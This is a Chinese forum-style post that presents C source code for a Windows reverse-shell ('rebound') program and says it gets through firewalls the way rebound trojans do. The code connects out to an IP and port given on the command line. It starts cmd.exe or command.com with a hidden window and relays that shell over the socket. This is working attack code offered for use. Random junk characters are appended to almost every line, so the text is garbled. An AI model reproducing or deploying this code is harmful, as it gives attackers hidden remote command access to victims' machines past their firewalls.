这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 uzVG q!'H
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/* ============================== PV]k3&y
Rebound port in Windows NT w`.T/
By wind,2006/7 y=oVUsG
===============================*/ (N*<\6kr
#include BS-:dyBw
#include ! =\DC,-CB
re ]Ste
#pragma comment(lib,"wsock32.lib") _d\u!giy
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void OutputShell(); ;*wT,2;
SOCKET sClient; <*A|pns
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; n?ZL"!$
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void main(int argc,char **argv) 409x!d~it
{ E~<(i':
WSADATA stWsaData;
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int nRet; un$ Z7W/
SOCKADDR_IN stSaiClient,stSaiServer; +(=0CA0GE
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if(argc != 3) *w'q
{ Q3NPwM
printf("Useage:\n\rRebound DestIP DestPort\n"); wr3_Bf3]
return; &O+sK4P
} f!M[awj%
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WSAStartup(MAKEWORD(2,2),&stWsaData); (c(-E|u.
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H)`C ncB
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stSaiClient.sin_family = AF_INET; k9^+9P^L
stSaiClient.sin_port = htons(0); W 9&0k+#^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 93E,
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x9x#'H3
{ /-!&k
printf("Bind Socket Failed!\n"); SE,o7_k'S
return; H )BOSZD
} ),nCq^Bp
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stSaiServer.sin_family = AF_INET; }
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); h*;g0QBkl
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b(PHZCy#
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;mf4U85
{ %XEKhy
printf("Connect Error!"); 0On?{Bw
return; qYgwyj=4
} /~o7Q$)-b
OutputShell(); Je#!Wd
} E^Q@9C<!d
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void OutputShell() g,t3OnxS?
{ X+]L-o6I2
char szBuff[1024]; ~q0I7M
SECURITY_ATTRIBUTES stSecurityAttributes; [,OJX
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OSVERSIONINFO stOsversionInfo; Xt</ -`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; iGG6Myp-
STARTUPINFO stStartupInfo; _u:>1]
char *szShell; Ujce |>Wn
PROCESS_INFORMATION stProcessInformation; `3f_d}b
unsigned long lBytesRead; ,{.zh&=4
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w)45SZ.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +3M$3w{2
stSecurityAttributes.lpSecurityDescriptor = 0; 1*C:hg@
stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cZNi~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1a7!4)\
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ni+3b
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I#"t'=9H
stStartupInfo.wShowWindow = SW_HIDE; L8K0^~Mk
stStartupInfo.hStdInput = hReadPipe; iP<k1#k
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; BQyvj\uJ
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GetVersionEx(&stOsversionInfo); 'M~BE\
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switch(stOsversionInfo.dwPlatformId) t9G}Yd[T
{ kP7a:(P_g
case 1: HG2N-<$
szShell = "command.com"; -'I _*fu
break; k4S} #!
default: o .l;:
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szShell = "cmd.exe"; p]wP36<S!
break; q:vz?G
} 1*Sr5N[=
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?k
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send(sClient,szMsg,77,0); CD^CUbGk
while(1) c]6V"Bo}A
{
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); K1:a]aU?Iu
if(lBytesRead) Wm<z?.lS
{ ;KZrl`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); HbNYP/MN3
send(sClient,szBuff,lBytesRead,0); fJX\'Rc\
} +IG1IF
else A:kkCG!~Nf
{ ?3`q+[:
lBytesRead=recv(sClient,szBuff,1024,0); 3>i>@n_
if(lBytesRead<=0) break; 2< p{z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); I^WIa"u_
} fs&,w
} JxjP@nr
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return; V/J>GRjw
}